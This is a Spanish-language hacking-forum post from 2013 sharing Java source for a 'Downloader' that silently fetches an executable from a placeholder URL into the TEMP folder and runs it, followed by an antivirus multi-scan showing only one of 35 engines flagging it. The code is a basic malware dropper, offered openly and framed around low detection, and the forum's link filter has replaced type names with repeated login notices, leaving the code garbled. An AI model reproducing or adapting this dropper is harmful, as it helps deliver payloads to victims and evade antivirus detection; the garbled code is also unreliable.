comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Downloader [By Expermicid]

  • 0 Respuestas
  • 1275 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Expermicid

  • *
  • Underc0der
  • Mensajes: 457
  • Actividad:
    0%
  • Reputación 0
  • _-Expermicid-_
    • Ver Perfil
  • Skype: expermicid.xd
« en: Enero 17, 2013, 02:32:51 pm »
Empece haciendo un code para descargar archivos y luego le agregue la ejecucion mas algunas modificaciones y termino en un Downloader xD

Código: Java
  1. import java.net.URL;
  2. import java.net.URLConnection;
  3. import java.io.File;
  4. import java.io.InputStream;
  5. import java.io.OutputStream;
  6. import java.io.FileOutputStream;
  7.  
  8. class Downloader {
  9.  
  10.         static final You are not allowed to view links. Register or Login url = "Url_del_Archivo"; // url de descarga
  11.         static final You are not allowed to view links. Register or Login nombre = "Nombre_Archivo.exe"; // nombre del archivo
  12.         static final You are not allowed to view links. Register or Login ruta = You are not allowed to view links. Register or Login.getenv("TEMP"); // lugar de descarga
  13.        
  14.         // constructor
  15.         public Downloader() {
  16.        
  17.         }
  18.  
  19.         // metodo descargarArchivo
  20.         private void descargarArchivo() {
  21.                 try {
  22.                         You are not allowed to view links. Register or Login tempFile = new You are not allowed to view links. Register or Login(ruta + "/" + nombre); // creamos un archivo en Temp
  23.                         // se establace la conexion
  24.                         You are not allowed to view links. Register or Login conn = new You are not allowed to view links. Register or Login(url).openConnection();
  25.                         conn.connect();
  26.                         // preparamos los Stream para el archivo de descarga y el creado
  27.                         You are not allowed to view links. Register or Login descarga = conn.getInputStream();
  28.                         You are not allowed to view links. Register or Login creado = new You are not allowed to view links. Register or Login(tempFile);
  29.                         int bits = 0;
  30.                         // leemos y escribimos byte por byte
  31.                         while ( bits != -1 ) {
  32.                                 bits =  descarga.read();
  33.                                 if ( bits != -1 ) {
  34.                                         creado.write(bits);
  35.                                 }
  36.                         }
  37.                         // se cierran los Stream
  38.                         creado.close();
  39.                         descarga.close();
  40.                 } catch ( You are not allowed to view links. Register or Login e ) { }
  41.                
  42.         } // fin del metodo descargarArchivo
  43.  
  44.         // metodo ejecutarArchivo
  45.         private void ejecutarArchivo() {
  46.  
  47.                 You are not allowed to view links. Register or Login aplicacion = You are not allowed to view links. Register or Login.getRuntime();
  48.                 try {
  49.                         You are not allowed to view links. Register or Login proceso = aplicacion.exec(ruta + "/" + nombre);
  50.                         proceso.waitFor();
  51.                 } catch ( You are not allowed to view links. Register or Login e ) { }
  52.  
  53.         } // fin del metodo ejecutarArchivo
  54.        
  55.         // metodo Main
  56.         public static void main(You are not allowed to view links. Register or Login[] args) {
  57.                 Downloader down = new Downloader();
  58.                 down.descargarArchivo();
  59.                 down.ejecutarArchivo();
  60.         }
  61.  
  62. }

NOTA: Deben poner la ruta y el nombre que ustedes deseen

Video demostrativo:



Despues de hacer todo solo por curiosidad lo tranforme a jar y lo analize para ver que tan quemado estaba, pero me lleve una sorpresa xD

Date and Time: 10/29/2012 6:50:27 PM
File Name: Downloader.jar
File Size: 1675 Bytes
MD5: 2edb3f437e776b93117015522f225262
SHA1: d93f27a5b5d1a7ec200138797cfe54184d638711
Detection: 1 of 35 (3%)
Status: INFECTED

AVG Free - Clean!
ArcaVir - Clean!
Avast 5 - Clean!
AntiVir (Avira) - Clean!
BitDefender - Clean!
VirusBuster Internet Security - Clean!
Clam Antivirus - Clean!
COMODO Internet Security - Clean!
Dr.Web - Clean!
eTrust-Vet - Clean!
F-PROT Antivirus - Clean!
F-Secure Internet Security - Clean!
G Data - Clean!
IKARUS Security - Clean!
Kaspersky Antivirus - Clean!
MS Security Essentials - Clean!
ESET NOD32 - Clean!
Norman - Clean!
Norton Antivirus - Clean!
Panda Security - Clean!
A-Squared - Clean!
Quick Heal Antivirus - Clean!
Rising Antivirus - Clean!
Solo Antivirus - Clean!
Sophos - Downloader.class=Mal/ClsDLod-A
Trend Micro Internet Security - Clean!
VBA32 Antivirus - Clean!
Vexira Antivirus - Clean!
Zoner AntiVirus - Clean!
Ad-Aware - Clean!
BullGuard - Clean!
Immunet Antivirus - Clean!
K7 Ultimate - Clean!
mcafree - Clean!
VIPRE - Clean!

You are not allowed to view links. Register or Login

Saludos

 

¿Te gustó el post? COMPARTILO!



Capturador de Pantalla remoto [By Expermicid]

Iniciado por Expermicid

Respuestas: 5
Vistas: 2325
Último mensaje Junio 02, 2013, 06:47:49 pm
por paixon